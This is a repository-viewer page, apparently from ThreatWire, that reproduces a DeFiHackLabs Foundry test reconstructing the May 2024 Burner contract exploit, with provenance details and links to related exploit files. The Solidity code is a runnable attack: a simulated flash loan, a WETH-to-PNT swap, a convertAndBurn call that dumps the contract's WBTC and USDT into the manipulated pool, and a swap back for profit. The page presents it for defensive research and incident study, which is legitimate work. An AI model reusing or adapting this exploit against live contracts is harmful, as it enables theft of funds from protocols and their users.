Public reproduction file

src/test/2024-05/Burner_exp.sol

Public reproduction file for dataset entry Burner.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-05/Burner_exp.sol62 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6// @KeyInfo - Total Lost : 1.7eth
7// Attack Tx : https://etherscan.io/tx/0x3bba4fb6de00dd38df3ad68e51c19fe575a95a296e0632028f101c5199b6f714
8 
9// @Info
10 
11 
12interface IBurner is IERC20 {
13    function convertAndBurn(
14        address[] calldata tokens
15    ) external;
16}
17 
18contract ContractTest is Test {
19    IBurner burner_ = IBurner(0x4d4d05e1205e3A412ae1469C99e0d954113aa76F);
20    IERC20 usdt_ = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
21    IERC20 wbtc_ = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
22    IERC20 pnt_ = IERC20(0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD);
23    IWETH weth_ = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));
24 
25    IUniswapV2Router router_ = IUniswapV2Router(payable(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)));
26 
27    function setUp() public {
28        vm.createSelectFork("mainnet", 19_917_290);
29        vm.deal(address(this), 0);
30    }
31 
32    function testExploit() public {
33        vm.deal(address(this), 70 ether); //simulation flashloan
34        weth_.deposit{value: 70 ether}();
35        weth_.approve(address(router_), type(uint256).max);
36        pnt_.approve(address(router_), type(uint256).max);
37 
38        address[] memory path = new address[](2);
39        path[0] = address(weth_);
40        path[1] = address(pnt_);
41        router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(
42            weth_.balanceOf(address(this)), 0, path, address(this), block.timestamp
43        );
44 
45        console.log("=== ACK START ===");
46        address[] memory tokens = new address[](3);
47        tokens[0] = address(0x0);
48        tokens[1] = address(wbtc_);
49        tokens[2] = address(usdt_);
50        burner_.convertAndBurn(tokens);
51        console.log("=== ACK END ===");
52 
53        path[0] = address(pnt_);
54        path[1] = address(weth_);
55        router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(
56            pnt_.balanceOf(address(this)), 0, path, address(this), block.timestamp
57        );
58 
59        weth_.transfer(address(0x01), 70 ether); // simulation repay flashloan
60        emit log_named_decimal_uint("profit weth = ", weth_.balanceOf(address(this)), 18);
61    }
62}

Analysis

Dataset entry

Public Foundry test for “Burner” (2024-05-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

19 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-05/EXcommunity_exp.solSame month in the dataset · 139 lines
src/test/2024-05/GFOX_exp.solSame month in the dataset · 69 lines
src/test/2024-05/GPU_exp.solSame month in the dataset · 74 lines
src/test/2024-05/Liquiditytokens_exp.solSame month in the dataset · 194 lines
src/test/2024-05/MetaDragon_exp.solSame month in the dataset · 49 lines
src/test/2024-05/MixedSwapRouter_exp.solSame month in the dataset · 188 lines
src/test/2024-05/NORMIE_exp.solSame month in the dataset · 138 lines
src/test/2024-05/OSN_exp.solSame month in the dataset · 187 lines
src/test/2024-05/PredyFinance_exp.solSame month in the dataset · 181 lines
src/test/2024-05/RedKeysCoin_exp.solSame month in the dataset · 76 lines
src/test/2024-05/SATURN_exp.solSame month in the dataset · 133 lines
src/test/2024-05/SCROLL_exp.solSame month in the dataset · 68 lines
src/test/2024-05/Sonne_exp.solSame month in the dataset · 185 lines
src/test/2024-05/TCH_exp.solSame month in the dataset · 277 lines
src/test/2024-05/TGC_exp.solSame month in the dataset · 74 lines
src/test/2024-05/Tradeonorion_exp.solSame month in the dataset · 346 lines
src/test/2024-05/TSURU_exp.solSame month in the dataset · 97 lines
src/test/2023-08/CurveBurner_exp.solSame protocol or name in the dataset · 151 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attack Tx
0x3bba4fb6de00dd38df3ad68e51c19fe575a95a296e0632028f101c5199b6f714

File record

Name: Burner
Path: src/test/2024-05/Burner_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 91c3f3555457a4bf70baeafdf2355a25548e3ed1
Language: Solidity
Size: 63 lines
Date: 2024-05-22
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-05/Burner_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 91c3f3555457a4bf70baeafdf2355a25548e3ed1, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.